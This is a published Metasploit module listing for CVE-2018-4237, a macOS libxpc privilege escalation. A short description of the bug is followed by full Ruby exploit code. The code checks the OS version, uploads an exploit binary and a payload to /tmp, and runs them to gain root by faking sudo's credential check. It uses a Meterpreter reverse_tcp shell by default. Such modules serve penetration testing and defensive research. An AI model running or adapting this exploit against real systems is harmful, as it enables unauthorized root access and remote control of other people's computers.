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Mac OS X libxpc MITM Privilege Escalation

Mac OS X libxpc MITM Privilege Escalation
Posted Nov 28, 2018
Authored by saelo | Site metasploit.com

This Metasploit module exploits a vulnerability in libxpc on macOS versions 10.13.3 and below. The task_set_special_port API allows callers to overwrite their bootstrap port, which is used to communicate with launchd. This port is inherited across forks: child processes will use the same bootstrap port as the parent. By overwriting the bootstrap port and forking a child processes, we can now gain a MitM position between our child and launchd. To gain root we target the sudo binary and intercept its communication with opendirectoryd, which is used by sudo to verify credentials. We modify the replies from opendirectoryd to make it look like our password was valid.

tags | exploit, root
advisories | CVE-2018-4237
MD5 | 45269b24778bad6f66dc74a38caefbe2

Mac OS X libxpc MITM Privilege Escalation

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X libxpc MITM Privilege Escalation',
'Description' => %q{
This module exploits a vulnerablity in libxpc on macOS <= 10.13.3
The task_set_special_port API allows callers to overwrite their bootstrap port,
which is used to communicate with launchd. This port is inherited across forks:
child processes will use the same bootstrap port as the parent.
By overwriting the bootstrap port and forking a child processes, we can now gain
a MitM position between our child and launchd.

To gain root we target the sudo binary and intercept its communication with
opendirectoryd, which is used by sudo to verify credentials. We modify the
replies from opendirectoryd to make it look like our password was valid.
},
'License' => MSF_LICENSE,
'Author' => [ 'saelo' ],
'References' => [
['CVE', '2018-4237'],
['URL', 'https://github.com/saelo/pwn2own2018'],
],
'Arch' => [ ARCH_X64 ],
'Platform' => 'osx',
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { } ]
],
'DisclosureDate' => 'Mar 15 2018'))
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end

def upload_executable_file(filepath, filedata)
print_status("Uploading file: '#{filepath}'")
write_file(filepath, filedata)
chmod(filepath)
register_file_for_cleanup(filepath)
end

def check
version = Gem::Version.new(get_system_version)
if version >= Gem::Version.new('10.13.4')
CheckCode::Safe
else
CheckCode::Appears
end
end

def exploit
if check != CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end

unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end

exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2018-4237", "ssudo" ))
exploit_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"
upload_executable_file(exploit_file, exploit_data)
payload_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}"
upload_executable_file(payload_file, generate_payload_exe)
exploit_cmd = "#{exploit_file} #{payload_file}"
print_status("Executing cmd '#{exploit_cmd}'")
cmd_exec(exploit_cmd)
end
end

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